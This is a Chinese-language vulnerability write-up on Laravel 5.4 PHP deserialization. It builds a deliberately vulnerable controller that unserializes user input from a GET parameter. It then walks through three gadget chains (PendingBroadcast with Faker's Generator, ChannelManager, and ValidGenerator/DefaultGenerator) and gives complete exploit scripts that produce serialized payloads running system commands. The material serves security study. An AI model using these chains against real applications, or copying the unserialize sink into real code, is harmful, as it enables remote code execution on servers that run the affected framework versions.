前言
laravel是一套簡潔、優雅的PHP Web開發框架(PHP Web Framework)
環境搭建
laravel5.4部署
composer create-project laravel/laravel=5.4 laravel5-4 --prefer-dist
cd laravel5-4
php artisan serve
訪問http://127.0.0.1:8000
添加路由
routes/web.php
Route::get('/seri', "SeriController@seri");
添加控制器
app/Http/Controllers/SeriController.php
<?php
namespace App\Http\Controllers;
class SeriController extends Controller
{
public function seri()
{
if (isset($_GET['code'])){
$code = $_GET['code'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "The laravel version is 5.4!";
}
}
?>
訪問路徑
http://127.0.0.1:8000/seri
漏洞分析
找__destruct()
方法
src/Illuminate/Broadcasting/PendingBroadcast.php
這里$this->events
和$this->event
都是可控的
找可利用的__call()
方法
Generator.php
src/Faker/Generator.php
分析
查找format()
方法
$arguments
就是我們傳入的可控參數,$this->getFormatter($formatter)
返回system
時可 rce
查看getFormatter()
方法
這里$this->formatters
可控
直接返回$this->formatters[$formatter]
,而$formatter
就是dispatch
所以可以構造$this->formatters = ['dispatch' => 'system']
可以滿足要求
復現
//exp_1.php
<?php
namespace Illuminate\Broadcasting
{
use Faker\Generator;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($cmd)
{
$this->event = $cmd;
$this->events = new Generator;
}
}
$seri = new PendingBroadcast('whoami');
echo base64_encode(serialize($seri));
}
namespace Faker
{
class Generator
{
protected $formatters = array();
public function __construct()
{
$this->formatters = array('dispatch' => 'system');
}
}
}
?>
但是提交時報錯
原因在於PendingBroadcast.php
存在__wake()
方法
注釋掉該方法繼續執行
成功執行命令
Manager.php
src/Illuminate/Support/Manager.php
分析
進入driver()
方法
先查看createDriver()
方法
在 callCustomCreator()
方法中是一個可變函數
而且$this->customCreators
和$this->app
可控制
返回看$driver
怎么來的
getDefaultDriver()
方法是一個 abstract
抽象方法,需要找它的繼承子類重寫
轉到ChannelManager.php
文件
src/Illuminate/Notifications/ChannelManager.php
查看getDefaultDriver()
方法
這時候就可以令$driver
可控了
最后只要令$this->customCreators[$driver] = 'system'|$this->app = 'whoami'
即可執行命令
復現
//exp_2.php
<?php
namespace Illuminate\Broadcasting
{
use Illuminate\Notifications\ChannelManager;
class PendingBroadcast
{
protected $events;
public function __construct($cmd)
{
$this->events = new ChannelManager($cmd);
}
}
$seri = new PendingBroadcast('whoami');
echo base64_encode(serialize($seri));
}
namespace Illuminate\Notifications
{
class ChannelManager
{
protected $app;
protected $defaultChannel;
protected $customCreators;
public function __construct($cmd)
{
$this->defaultChannel = 'shivers';
$this->customCreators = array('shivers' => 'system');
$this->app = $cmd;
}
}
}
?>
可以執行命令
ValidGenerator.php
src/Faker/ValidGenerator.php
分析
ValidGenerator.php
的這個__call()
方法中
$this->generator|$this->validator|$this->maxRetries
都是可控的
而$res = call_user_func_array(array($this->generator, $name), $arguments);
這個,只要找到一個__call()
方法能返回可控字符的對象,然后令$this->generator
等於這個對象,即可控制$res
,此時可rce
通過搜索,找到DefaultGenerator.php
src/Faker/DefaultGenerator.php
__call()
返回的$this->default
是可控的,可滿足要求
復現
//exp_3.php
<?php
namespace Illuminate\Broadcasting
{
use Faker\ValidGenerator;
class PendingBroadcast
{
protected $events;
public function __construct($cmd)
{
$this->events = new ValidGenerator($cmd);
}
}
$seri = new PendingBroadcast('whoami');
echo base64_encode(serialize($seri));
}
namespace Faker
{
use Faker\DefaultGenerator;
class ValidGenerator
{
protected $maxRetries;
protected $validator;
protected $generator;
public function __construct($cmd)
{
$this->generator = new DefaultGenerator($cmd);
$this->maxRetries = 10000000;
$this->validator = 'system';
}
}
}
namespace Faker
{
class DefaultGenerator
{
protected $default;
public function __construct($cmd)
{
$this->default = $cmd;
}
}
}
?>
成功執行命令